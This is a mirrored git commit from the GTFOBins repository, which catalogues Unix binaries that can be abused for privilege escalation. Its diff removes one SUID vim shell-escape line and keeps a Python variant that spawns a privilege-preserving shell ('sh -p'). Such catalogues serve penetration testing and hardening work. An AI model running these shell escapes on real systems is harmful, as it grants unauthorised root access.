mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Remove suid from vim
This commit is contained in:
parent
4910c32409
commit
d3ef67aa3a
@ -17,7 +17,6 @@ functions:
|
||||
file-read:
|
||||
- code: vim file_to_read
|
||||
suid:
|
||||
- code: ./vim -c ':!/bin/sh -p'
|
||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||
sudo:
|
||||
|
Loading…
Reference in New Issue
Block a user